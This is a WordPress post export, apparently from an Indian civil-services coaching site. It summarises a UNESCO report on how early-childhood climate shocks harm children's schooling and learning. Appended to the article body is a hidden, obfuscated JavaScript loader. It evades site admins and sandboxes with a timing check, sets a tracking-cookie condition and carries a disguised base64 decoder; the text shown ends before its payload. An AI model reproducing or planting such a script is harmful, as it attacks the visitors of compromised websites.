{"id":1051,"date":"2024-07-20T06:02:48","date_gmt":"2024-07-20T06:02:48","guid":{"rendered":"https:\/\/iasquest.com\/?p=1051"},"modified":"2026-02-11T19:16:45","modified_gmt":"2026-02-11T19:16:45","slug":"paper-iii-general-studies-ii-governance-constitution-polity-social-justice-and-international-relations-12","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/paper-iii-general-studies-ii-governance-constitution-polity-social-justice-and-international-relations-12\/","title":{"rendered":"PAPER III General Studies- II: Governance, Constitution, Polity, Social Justice and International relations"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong><em>Issues Relating to Development and Management of Social Sector\/Services relating to Health, Education, Human Resources<\/em><\/strong><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#cb0b0b\"><strong>How can exposure to extreme weather events impact a child&#8217;s development according to the report by UNESCO?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The long-term effects of early childhood climate shocks have been brought to light in a new report published by <strong><em>the United Nations Educational, Scientific, and Cultural Organization (UNESCO)<\/em><\/strong> as part of its <strong><em>Global Education Monitoring Report.<\/em><\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The series of papers is intended to encourage discussions about education and the Sustainable Development Goals (SDGs) mandated by the UN.<\/li>\n\n\n\n<li>It highlights worries about the long-term impact that severe weather events can have on a child&#8217;s growth.<\/li>\n\n\n\n<li>The report emphasised the vulnerability of young children. Their reliance on adults and developing bodies make them more vulnerable to the immediate physical hazards of floods, droughts, and heatwaves.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Key findings:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Climate-related stressors<\/strong> such as heat, wildfires, storms, floods, droughts, illnesses, and rising sea levels have an impact on school outcomes:&nbsp;<\/li>\n\n\n\n<li>A <em>child&#8217;s cognitive development, emotional health, and educational possibilities may all suffer<\/em> as a result of these experiences.<\/li>\n\n\n\n<li><strong>Severity: <\/strong>In a 3\u00b0C global warming scenario, <strong><em>a 10-year-old in 2024 will see twice as many wildfires and tropical cyclones,<\/em><\/strong> <strong><em>three times more river floods, four times more crop failures, and five times more droughts in her lifetime as a 10-year-old in 1970.<\/em><\/strong><\/li>\n\n\n\n<li><strong>Effect on Learning<\/strong>: Five to seven years later, <em>children in Ecuador who had been exposed to intense El Nino floods during their fetal development were shorter and scored lower on cognitive tests<\/em>.<\/li>\n\n\n\n<li><strong>Impact on Enrollment:<\/strong> By the time the children are 13 or 14 years old, there is a <strong><em>negative correlation between school enrollment (especially for boys) and mathematics achievement<\/em><\/strong> (especially for girls) based on an analysis of almost 140,000 children&#8217;s early life experiences in seven Asian countries.&nbsp;<\/li>\n\n\n\n<li><strong>School Closures:<\/strong> Every year, the majority of low- and middle-income nations experience <strong><em>school closures due to climate change<\/em><\/strong>, which <strong><em>raises the<\/em><\/strong> <strong><em>risk of learning loss and dropout<\/em><\/strong>.<\/li>\n\n\n\n<li>Over the past 20 years, at least 75% of extreme weather occurrences have led to the closing of schools.&nbsp;&nbsp;&nbsp;&nbsp;<\/li>\n\n\n\n<li>Cyclone <strong><em>Idai<\/em><\/strong> destroyed 3,400 classrooms in <strong><em>Mozambique<\/em><\/strong> in 2019, denying 305,000 children access to education. Tropical<strong><em> Cyclone Gita <\/em><\/strong>damaged <strong><em>72 per cent of Tonga\u2019s schools <\/em><\/strong>in 2018.<strong><em>&nbsp;<\/em><\/strong><\/li>\n\n\n\n<li>Flood exposure <strong><em>reduced the number of completed grades<\/em><\/strong> among 12- to 15-year-olds in <strong>Ethiopia (3.4 per cent)<\/strong>, <strong>India (3.8 per cent<\/strong>) and <strong>Vietnam (1.8 per cent), <\/strong>owing to household income loss.<\/li>\n\n\n\n<li><strong>The effects of heat:<\/strong> According to the report, heat has a significant negative impact on children&#8217;s educational outcomes.&nbsp;<\/li>\n\n\n\n<li>An analysis of census and climate data from <strong><em>29 countries between 1969 and 2012<\/em><\/strong> found that exposure to <strong><em>higher-than-average temperatures<\/em><\/strong> during prenatal and early life is associated with fewer years of schooling, <strong><em>particularly in Southeast Asia.<\/em><\/strong>&nbsp;<\/li>\n\n\n\n<li>High temperatures reduced high-stakes test performance in China, resulting in lower high school graduation and college entrance rates.<\/li>\n\n\n\n<li>Variability in the amount of rain might also harm students&#8217; academic performance.<\/li>\n\n\n\n<li>An analysis of <strong><em>Demographic and Health Survey data<\/em><\/strong> from ten African countries reveals that abnormally low precipitation has a negative impact on primary school completion.<\/li>\n\n\n\n<li>Drought reduced children&#8217;s mathematics and reading scores in rural Maharashtra, India by 4.1 per cent and 2.7 per cent, respectively.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Way Forward:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Education about climate change must be a part of school curricula. This integration should <strong><em>impart resilience, adaptation, and sustainable development capabilities in addition to knowledge on climate science<\/em><\/strong>.&nbsp;<\/li>\n\n\n\n<li>The research recommended <strong><em>increasing funding for educational systems in order to make them more resilient to disturbances brought on by climate change.<\/em><\/strong><\/li>\n\n\n\n<li>This entails <strong><em>preparing teachers to assist children intellectually and psychologically amid these difficulties<\/em><\/strong>, bolstering school buildings to withstand the effects of climate change, and promoting community resilience through awareness-raising and adaptation programs.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Reference: <a href=\"https:\/\/www.downtoearth.org.in\/climate-change\/climate-shocks-in-early-childhood-hinder-lifelong-learning-new-un-report-reveals\" target=\"_blank\" rel=\"noopener\">https:\/\/www.downtoearth.org.in\/climate-change\/climate-shocks-in-early-childhood-hinder-lifelong-learning-new-un-report-reveals<\/a>&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var 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